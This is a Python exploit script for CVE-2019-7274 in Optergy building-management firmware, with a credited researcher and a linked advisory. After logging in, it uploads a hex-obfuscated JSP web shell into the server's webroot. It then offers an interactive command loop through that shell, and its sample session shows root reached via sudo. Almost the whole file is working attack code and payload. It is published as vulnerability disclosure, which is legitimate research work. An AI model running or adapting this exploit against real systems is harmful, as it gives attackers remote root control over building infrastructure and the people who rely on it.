#!/usr/bin/env python
# -*- coding: utf8 -*-
#
# Authenticated File Upload in Optergy gaining Remote Root Code Execution
# Firmware version: <=2.3.0a
# CVE: CVE-2019-7274
# Advisory: https://applied-risk.com/resources/ar-2019-008
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#
# Discovered by Gjoko 'LiquidWorm' Krstic
#
##########################################################################
#
# lqwrm@metalgear:~/stuff/optergy$ python optergy_rfm.py
# [+] Usage: optergy_rfm.py http://IP
# [+] Example: optergy_rfm.py http://10.0.0.17
#
# lqwrm@metalgear:~/stuff/optergy$ python optergy_rfm.py http://192.168.232.19
# Enter username: podroom
# Enter password: podroom
#
# Welcome to Optergy HTTP Shell!
# You can navigate to: http://192.168.232.19/images/jox.jsp
# Or you can continue using this 'shell'.
# Type 'exit' for exit.
#
# root@192.168.232.19:~# id
# uid=1000(optergy) gid=1000(optergy) groups=1000(optergy),4(adm)
# root@192.168.232.19:~# sudo id
# uid=0(root) gid=0(root) groups=0(root)
# root@192.168.232.19:~# rm /usr/local/tomcat/webapps/ROOT/images/jox.jsp
#
# root@192.168.232.19:~# exit
# Have a nice day!
#
##########################################################################
import requests
import sys,os,time,re
piton = os.path.basename(sys.argv[0])
if len(sys.argv) < 2:
print "[+] Usage: " + piton + " http://IP"
print "[+] Example: " + piton + " http://10.0.0.17\n"
sys.exit()
the_user = raw_input("Enter username: ")
the_pass = raw_input("Enter password: ")
the_host = sys.argv[1]
odi = requests.Session()
the_url = the_host + "/ajax/AjaxLogin.html?login"
the_headers = {"Accept" : "*/*",
"X-Requested-With" : "XMLHttpRequest",
"User-Agent" : "Noproblem/16.0",
"Content-Type" : "application/x-www-form-urlencoded",
"Accept-Encoding" : "gzip, deflate",
"Accept-Language" : "en-US,en;q=0.9"}
the_data = {"username" : the_user,
"password" : the_pass,
"token" : ''}
odi.post(the_url, headers = the_headers, data = the_data)
the_upl = ("\x2f\x61\x6a\x61\x78\x2f\x46\x69\x6c\x65\x55\x70\x6c\x6f\x61\x64"
"\x65\x72\x2e\x68\x74\x6d\x6c\x3f\x69\x64\x54\x6f\x55\x73\x65\x3d"
"\x61\x74\x74\x61\x63\x68\x6d\x65\x6e\x74\x2d\x31\x35\x34\x36\x30"
"\x30\x32\x33\x36\x39\x39\x33\x39\x26\x64\x65\x63\x6f\x6d\x70\x72"
"\x65\x73\x73\x3d\x66\x61\x6c\x73\x65\x26\x6f\x75\x74\x70\x75\x74"
"\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3d\x25\x32\x46\x75\x73\x72\x25"
"\x32\x46\x6c\x6f\x63\x61\x6c\x25\x32\x46\x74\x6f\x6d\x63\x61\x74"
"\x25\x32\x46\x77\x65\x62\x61\x70\x70\x73\x25\x32\x46\x52\x4f\x4f"
"\x54\x25\x32\x46\x69\x6d\x61\x67\x65\x73\x25\x32\x46\x26\x66\x69"
"\x6c\x65\x4e\x61\x6d\x65\x3d\x6a\x6f\x78\x2e\x6a\x73\x70")######"
the_url = the_host + the_upl
the_headers = {"Cache-Control" : "max-age=0",
"Content-Type" : "multipart/form-data; boundary=----WebKitFormBoundarysrMvKmQPYUODSWBl",
"User-Agent" : "Noproblem/16.0",
"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Encoding" : "gzip, deflate",
"Accept-Language" : "en-US,en;q=0.9"}
the_data = ("\x2d\x2d\x2d\x2d\x2d\x2d\x57\x65\x62\x4b\x69\x74\x46\x6f\x72\x6d"
"\x42\x6f\x75\x6e\x64\x61\x72\x79\x73\x72\x4d\x76\x4b\x6d\x51\x50"
"\x59\x55\x4f\x44\x53\x57\x42\x6c\x0d\x0a\x43\x6f\x6e\x74\x65\x6e"
"\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x20\x66"
"\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d\x65\x3d\x22"
"\x61\x74\x74\x61\x63\x68\x6d\x65\x6e\x74\x2d\x31\x35\x34\x36\x30"
"\x30\x32\x33\x36\x39\x39\x33\x39\x22\x3b\x20\x66\x69\x6c\x65\x6e"
"\x61\x6d\x65\x3d\x22\x6a\x6f\x78\x2e\x6a\x73\x70\x22\x0d\x0a\x43"
"\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70"
"\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73"
"\x74\x72\x65\x61\x6d\x0d\x0a\x0d\x0a\x3c\x25\x40\x20\x70\x61\x67"
"\x65\x20\x69\x6d\x70\x6f\x72\x74\x3d\x22\x6a\x61\x76\x61\x2e\x75"
"\x74\x69\x6c\x2e\x2a\x2c\x6a\x61\x76\x61\x2e\x69\x6f\x2e\x2a\x22"
"\x25\x3e\x0a\x3c\x48\x54\x4d\x4c\x3e\x3c\x42\x4f\x44\x59\x3e\x0a"
"\x3c\x46\x4f\x52\x4d\x20\x4d\x45\x54\x48\x4f\x44\x3d\x22\x47\x45"
"\x54\x22\x20\x4e\x41\x4d\x45\x3d\x22\x6d\x79\x66\x6f\x72\x6d\x22"
"\x20\x41\x43\x54\x49\x4f\x4e\x3d\x22\x22\x3e\x0a\x3c\x49\x4e\x50"
"\x55\x54\x20\x54\x59\x50\x45\x3d\x22\x74\x65\x78\x74\x22\x20\x4e"
"\x41\x4d\x45\x3d\x22\x63\x6d\x64\x22\x3e\x0a\x3c\x49\x4e\x50\x55"
"\x54\x20\x54\x59\x50\x45\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20"
"\x56\x41\x4c\x55\x45\x3d\x22\x53\x65\x6e\x64\x22\x3e\x0a\x3c\x2f"
"\x46\x4f\x52\x4d\x3e\x0a\x3c\x70\x72\x65\x3e\x0a\x3c\x25\x0a\x69"
"\x66\x20\x28\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61"
"\x72\x61\x6d\x65\x74\x65\x72\x28\x22\x63\x6d\x64\x22\x29\x20\x21"
"\x3d\x20\x6e\x75\x6c\x6c\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20"
"\x20\x20\x6f\x75\x74\x2e\x70\x72\x69\x6e\x74\x6c\x6e\x28\x22\x43"
"\x6f\x6d\x6d\x61\x6e\x64\x3a\x20\x22\x20\x2b\x20\x72\x65\x71\x75"
"\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d\x65\x74\x65\x72"
"\x28\x22\x63\x6d\x64\x22\x29\x20\x2b\x20\x22\x3c\x42\x52\x3e\x22"
"\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x50\x72\x6f\x63\x65"
"\x73\x73\x20\x70\x20\x3d\x20\x52\x75\x6e\x74\x69\x6d\x65\x2e\x67"
"\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x28\x29\x2e\x65\x78\x65\x63"
"\x28\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61"
"\x6d\x65\x74\x65\x72\x28\x22\x63\x6d\x64\x22\x29\x29\x3b\x0a\x20"
"\x20\x20\x20\x20\x20\x20\x20\x4f\x75\x74\x70\x75\x74\x53\x74\x72"
"\x65\x61\x6d\x20\x6f\x73\x20\x3d\x20\x70\x2e\x67\x65\x74\x4f\x75"
"\x74\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x3b\x0a\x20\x20"
"\x20\x20\x20\x20\x20\x20\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61"
"\x6d\x20\x69\x6e\x20\x3d\x20\x70\x2e\x67\x65\x74\x49\x6e\x70\x75"
"\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x3b\x0a\x20\x20\x20\x20\x20"
"\x20\x20\x20\x44\x61\x74\x61\x49\x6e\x70\x75\x74\x53\x74\x72\x65"
"\x61\x6d\x20\x64\x69\x73\x20\x3d\x20\x6e\x65\x77\x20\x44\x61\x74"
"\x61\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x69\x6e\x29"
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x53\x74\x72\x69\x6e\x67"
"\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69\x73\x2e\x72\x65\x61\x64"
"\x4c\x69\x6e\x65\x28\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20"
"\x77\x68\x69\x6c\x65\x20\x28\x20\x64\x69\x73\x72\x20\x21\x3d\x20"
"\x6e\x75\x6c\x6c\x20\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6f\x75\x74\x2e\x70\x72\x69"
"\x6e\x74\x6c\x6e\x28\x64\x69\x73\x72\x29\x3b\x20\x0a\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x73"
"\x72\x20\x3d\x20\x64\x69\x73\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65"
"\x28\x29\x3b\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d"
"\x0a\x25\x3e\x0a\x3c\x2f\x70\x72\x65\x3e\x0a\x3c\x2f\x42\x4f\x44"
"\x59\x3e\x3c\x2f\x48\x54\x4d\x4c\x3e\x0a\x0a\x0a\x0d\x0a\x2d\x2d"
"\x2d\x2d\x2d\x2d\x57\x65\x62\x4b\x69\x74\x46\x6f\x72\x6d\x42\x6f"
"\x75\x6e\x64\x61\x72\x79\x73\x72\x4d\x76\x4b\x6d\x51\x50\x59\x55"
"\x4f\x44\x53\x57\x42\x6c\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d"
"\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72"
"\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70"
"\x6c\x6f\x61\x64\x22\x0d\x0a\x0d\x0a\x55\x70\x6c\x6f\x61\x64\x0d"
"\x0a\x2d\x2d\x2d\x2d\x2d\x2d\x57\x65\x62\x4b\x69\x74\x46\x6f\x72"
"\x6d\x42\x6f\x75\x6e\x64\x61\x72\x79\x73\x72\x4d\x76\x4b\x6d\x51"
"\x50\x59\x55\x4f\x44\x53\x57\x42\x6c\x2d\x2d\x0d\x0a")##########"
odi.post(the_url, headers = the_headers, data = the_data)
print "\nWelcome to Optergy HTTP Shell!"
print "You can navigate to: " + the_host + "/images/jox.jsp"
print "Or you can continue using this 'shell'."
print "Type 'exit' for exit.\n"
while True:
try:
cmd = raw_input("root@" + the_host[7:] + ":~# ")
if cmd.strip() == "exit":
print "Have a nice day!"
break
paramz = {"cmd" : cmd} # sudo cmd
shell = requests.get(url = the_host + "/images/jox.jsp", params = paramz)
regex = re.search(r"BR>(.*?)</pre>", shell.text, flags = re.S)
print regex.group(1).strip()
except Exception:
break
sys.exit()